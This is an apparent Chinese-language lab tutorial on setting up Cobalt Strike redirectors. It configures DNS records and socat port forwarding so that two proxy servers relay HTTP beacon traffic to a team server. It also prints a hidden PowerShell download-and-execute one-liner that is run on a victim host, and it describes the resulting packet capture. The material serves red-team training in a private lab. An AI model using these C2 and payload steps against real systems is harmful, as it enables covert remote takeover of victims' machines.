重定向服务的概念
"重定向"是一个在CS服务器与目标主机进行网络传输之间的服务器, 不仅能保护CS服务器, 还能增强与目标网络传输的稳定性, 例如某一台重定向服务器倒塌了, 但是CS服务器还是能通过其他重定向服务器与目标网络进行信息传输
环境拓扑
- 域名: team.com
- Dns服务器: 192.168.47.137
- CS团队服务器: 192.168.47.134(cs.team.com)
- 重定向服务器1: 192.168.47.131(proxy1.team.com)
- 重定向服务器2: 192.168.47.140(proxy2.team.com)
- 目标主机: 192.168.47.141
环境搭建
1.在域控为CS服务器及代理服务器配置域名
在域控服务器打开DNS管理器
在DNS的正向查找区域新建一个区域, 名为team.com
, 即相当于申请一个顶级域名
为新建的区域增添A记录, 如下图所示步骤依次添加CS服务器及代理服务器
-
CS服务器: 别名为
team
, ip地址为192.168.47.134
-
代理服务器1: 别名为
proxy1
, ip地址为192.168.47.131
-
代理服务器2: 别名为
proxy2
, ip地址为192.168.47.140
2.将代理服务器80端口的数据转发到CS服务器80端口上
使用socat
命令进行端口转发, 若没有此命令需先使用apt-get install -y socat
命令进行安装, socat
命令使用语法如下:
socat TCP4-LISTEN:80,fork TCP4:[server ip]:80
将本机80端口监听到的数据转发到server服务器上的80端口
在两台代理服务器(ubuntu0和ubuntu1)上输入: socat TCP4-LISTEN:80,fork TCP4:192.168.47.134:80
攻击步骤
1.在CS客户端创建监听并生成攻击payload
在域内windows7主机登录CS客户端
新建http监听80端口, 将代理的服务器域名填写至HTTP Hosts
生成Power Shell远程执行代码: powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://proxy1.team.com:80/a'))"
浏览器访问http://proxy1.team.com:80/a
和http://proxy2.team.com:80/a
, 查看是否有返回结果, 若有则表示攻击payload配置成功
通过查看web日志可以查询到访问域名者的详细信息
2.受害机执行PowerShell恶意代码
在受害机执行powershell恶意代码: powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://proxy1.team.com:80/a'))"
后, 受害机在CS客户端界面显示上线
受害机抓包分析
使用Wireshark抓取HTTP数据包进行分析, 受害机的ip地址为192.168.47.141
, 它向192.168.47.140
(proxy2.team.com)发http数据包, 随后192.168.47.140
向192.168.47.134
(cs.team.com)发http数据包, 除此之外受害机还向192.168.47.131
(proxy1.team.com)发了http数据包